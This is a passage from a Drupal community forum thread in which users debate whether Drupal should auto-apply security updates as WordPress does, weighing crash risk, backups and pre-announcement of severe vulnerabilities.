There are reasons why WP is most popular CMS, and those reasons have to be studied.

Jaypan’s picture

As has been mentioned in this thread, there are reasons against auto-updates as well. I can't count the number of times I've heard of Wordpress sites that have crashed because of an auto-update.

The Drupal organization has shut down discussion on improvement of the forums: https://www.drupal.org/node/2536122

It's time to start a new forum somewhere else. The Drupal organization does not care about the forums.

Stagger Lee’s picture

Yes, AUDI too crash sometimes because of factory error, but they dont stop manufacturing it.

Stop making excuses, updated WP sites plenty of times and never had a single problem with it. And i mean total updates, not only security patches.
Here is it only one small code line, how can this crash website ? Besides core community can allways decide by itself what patch to role automatically and what not (risky).

Jaypan’s picture

Stop making excuses

There is no excuse about it. I don't build Drupal (though I have submitted some patches), so I have nothing to excuse. I'm pointing out the reason I would not want an auto-updater.

If you are worried about it, but your system on GIT, and use the Backup and Migrate module to take regular backups. That's how I have things set up, and it took about a minute to clean my compromised systems. About the same amount of time it takes me to update Drupal when a new version comes out.

The Drupal organization has shut down discussion on improvement of the forums: https://www.drupal.org/node/2536122

It's time to start a new forum somewhere else. The Drupal organization does not care about the forums.

raj45’s picture

Within the Drupal security team they are discussing when and how to pre-announce extreme security issues, take a look at Create system for distributing pre-announcements of extreme security issues in core/contrib.

I personally think that pre-announcing severe security issues is the right approach, in stead of auto-patching, so I am really happy to see this.

Stagger Lee’s picture

Better than situation now.
But my personal and humble opinion is to make it automatically for middle and high severe security holes, maybe even for all depending of situation.

You have to asume that hackers use Drupal for websites, hackers are faster than common Drupal users. But never faster than automatical update,

Stagger Lee’s picture

One important thing is worth mentioning here. If you come from Drupal world automatic updates can scare you to death. Actually WP allow you with one line of code to disable automatic updates, and even to fine tune what will be possible with automatic and what not.

So at the end it it only your responsibility, but dont let those that dont want this function stay in the way of whole community.

Jaypan’s picture

So at the end it it only your responsibility, but dont let those that dont want this function stay in the way of whole community.

No one is standing in the way at all. If you want it, you should build it. There is a whole lot of talk about wanting auto-updaters, yet (as far as I know) none of the people who talk about wanting it have bothered to actually build it.

The Drupal organization has shut down discussion on improvement of the forums: https://www.drupal.org/node/2536122

It's time to start a new forum somewhere else. The Drupal organization does not care about the forums.